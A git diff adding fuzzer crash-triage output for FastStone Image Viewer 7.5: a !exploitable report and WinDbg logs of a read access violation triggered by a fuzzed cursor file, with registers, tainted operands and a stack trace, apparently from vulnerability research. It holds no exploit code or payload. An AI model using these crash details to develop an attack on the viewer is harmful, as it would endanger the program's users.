+EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/3089/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/3089/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..48c7986 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/3089/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/32032/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/32032/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/32032/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/32032/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/32032/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..c9bd847 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/32032/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/32032/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/32032/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..58c18ec --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/32032/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,193 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1B40: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1B40: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74ba0000 00000000`74bc2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1b40.1c58): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0001ed2d ecx=07e57b10 edx=00003879 esi=ffdd0010 edi=0fc06fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.718529053629891680000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 7.272811000000000000000e+0006 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=2.84297e+036 -0.000226134 -7.68579e-005 -1.90985e-010 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f38130 07eb5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00366000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00366000 2cb6d8a3 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d629e 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00366000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/32032/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/32032/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..58c18ec --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/32032/WindowsDebugEngine_description.txt @@ -0,0 +1,193 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1B40: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1B40: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74ba0000 00000000`74bc2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1b40.1c58): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0001ed2d ecx=07e57b10 edx=00003879 esi=ffdd0010 edi=0fc06fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.718529053629891680000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 7.272811000000000000000e+0006 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=2.84297e+036 -0.000226134 -7.68579e-005 -1.90985e-010 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 